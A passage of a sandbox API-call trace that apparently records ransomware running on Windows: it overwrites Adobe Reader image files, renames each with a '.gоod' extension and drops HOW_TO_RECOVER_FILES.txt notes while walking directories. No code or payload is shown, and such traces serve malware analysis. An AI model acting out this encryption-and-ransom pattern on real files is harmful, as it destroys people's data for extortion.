dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0162.926] GetFileType (hFile=0x63c) returned 0x1 [0162.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0162.926] GetFileType (hFile=0x63c) returned 0x1 [0162.926] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0x6b7 [0162.926] ReadFile (in: hFile=0x63c, lpBuffer=0x34e02c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x34e02c8*, lpNumberOfBytesRead=0x1fdeaf88*=0x6b7, lpOverlapped=0x0) returned 1 [0163.840] CloseHandle (hObject=0x63c) returned 1 [0164.301] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png", lpFilePart=0x0) returned 0x77 [0164.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0164.301] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\rhp_icons_2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0164.302] GetFileType (hFile=0x80c) returned 0x1 [0164.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0164.302] GetFileType (hFile=0x80c) returned 0x1 [0164.302] WriteFile (in: hFile=0x80c, lpBuffer=0x3592250*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x3592250*, lpNumberOfBytesWritten=0x1fdeae98*=0x6c0, lpOverlapped=0x0) returned 1 [0164.303] CloseHandle (hObject=0x80c) returned 1 [0164.303] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png", lpFilePart=0x0) returned 0x77 [0164.303] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png.gоod", lpFilePart=0x0) returned 0x7c [0164.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0164.304] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\rhp_icons_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5e2442a5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6c0)) returned 1 [0164.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0164.304] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\rhp_icons_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\rhp_icons_2x.png.gоod")) returned 1 [0164.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png", lpFilePart=0x0) returned 0x7c [0164.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0164.305] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\selection-actions.png"), fInfoLevelId=0x0, lpFileInformation=0x3593610 | out: lpFileInformation=0x3593610*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x616)) returned 1 [0164.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0164.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png", lpFilePart=0x0) returned 0x7c [0164.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0164.305] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\selection-actions.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0164.305] GetFileType (hFile=0x80c) returned 0x1 [0164.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0164.305] GetFileType (hFile=0x80c) returned 0x1 [0164.305] GetFileSize (in: hFile=0x80c, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0x616 [0164.305] ReadFile (in: hFile=0x80c, lpBuffer=0x3593fd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x3593fd0*, lpNumberOfBytesRead=0x1fdeaf88*=0x616, lpOverlapped=0x0) returned 1 [0164.463] CloseHandle (hObject=0x80c) returned 1 [0169.492] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png", lpFilePart=0x0) returned 0x7c [0169.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0169.492] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\selection-actions.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0169.493] GetFileType (hFile=0x650) returned 0x1 [0169.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0169.493] GetFileType (hFile=0x650) returned 0x1 [0169.493] WriteFile (in: hFile=0x650, lpBuffer=0x364ed20*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x364ed20*, lpNumberOfBytesWritten=0x1fdeae98*=0x620, lpOverlapped=0x0) returned 1 [0169.494] CloseHandle (hObject=0x650) returned 1 [0169.494] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png", lpFilePart=0x0) returned 0x7c [0169.494] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png.gоod", lpFilePart=0x0) returned 0x81 [0169.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0169.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\selection-actions.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x613d4811, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x620)) returned 1 [0169.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0169.494] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\selection-actions.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\selection-actions.png.gоod")) returned 1 [0169.495] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png", lpFilePart=0x0) returned 0x7e [0169.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0169.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\selection-actions2x.png"), fInfoLevelId=0x0, lpFileInformation=0x3650100 | out: lpFileInformation=0x3650100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbf9)) returned 1 [0169.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0169.496] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png", lpFilePart=0x0) returned 0x7e [0169.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0169.496] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\selection-actions2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0169.496] GetFileType (hFile=0x650) returned 0x1 [0169.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0169.496] GetFileType (hFile=0x650) returned 0x1 [0169.496] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0xbf9 [0169.496] ReadFile (in: hFile=0x650, lpBuffer=0x36510a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x36510a8*, lpNumberOfBytesRead=0x1fdeaf88*=0xbf9, lpOverlapped=0x0) returned 1 [0169.501] CloseHandle (hObject=0x650) returned 1 [0170.190] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png", lpFilePart=0x0) returned 0x7e [0170.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0170.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\selection-actions2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.203] GetFileType (hFile=0x640) returned 0x1 [0170.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0170.203] GetFileType (hFile=0x640) returned 0x1 [0170.203] WriteFile (in: hFile=0x640, lpBuffer=0x3838e30*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x3838e30*, lpNumberOfBytesWritten=0x1fdeae98*=0xc00, lpOverlapped=0x0) returned 1 [0170.204] CloseHandle (hObject=0x640) returned 1 [0170.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png", lpFilePart=0x0) returned 0x7e [0170.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png.gоod", lpFilePart=0x0) returned 0x83 [0170.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0170.204] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\selection-actions2x.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x61a96c48, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc00)) returned 1 [0170.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0170.205] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\selection-actions2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\selection-actions2x.png.gоod")) returned 1 [0170.206] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeaca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7f [0170.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb1c0) returned 1 [0170.206] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0170.374] GetFileType (hFile=0x650) returned 0x1 [0170.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb130) returned 1 [0170.374] GetFileType (hFile=0x650) returned 0x1 [0170.398] WriteFile (in: hFile=0x650, lpBuffer=0x33ad2a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdeb288, lpOverlapped=0x0 | out: lpBuffer=0x33ad2a8*, lpNumberOfBytesWritten=0x1fdeb288*=0x5d0, lpOverlapped=0x0) returned 1 [0170.399] CloseHandle (hObject=0x650) returned 1 [0170.399] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeb6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7a [0170.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebbf0) returned 1 [0170.400] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0170.400] GetFileType (hFile=0x650) returned 0x1 [0170.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb60) returned 1 [0170.400] GetFileType (hFile=0x650) returned 0x1 [0170.401] WriteFile (in: hFile=0x650, lpBuffer=0x33df1e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdebcb8, lpOverlapped=0x0 | out: lpBuffer=0x33df1e0*, lpNumberOfBytesWritten=0x1fdebcb8*=0x5d0, lpOverlapped=0x0) returned 1 [0170.402] CloseHandle (hObject=0x650) returned 1 [0170.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0170.402] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar", lpFilePart=0x0) returned 0x68 [0170.402] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0170.403] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.404] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down.png", cAlternateFileName="ARROW-~3.PNG")) returned 1 [0170.404] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left.png", cAlternateFileName="ARROW-~2.PNG")) returned 1 [0170.404] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right.png", cAlternateFileName="ARROW-~1.PNG")) returned 1 [0170.404] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up.png", cAlternateFileName="")) returned 1 [0170.404] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="hscroll-thumb.png", cAlternateFileName="HSCROL~1.PNG")) returned 1 [0170.404] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0170.404] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, 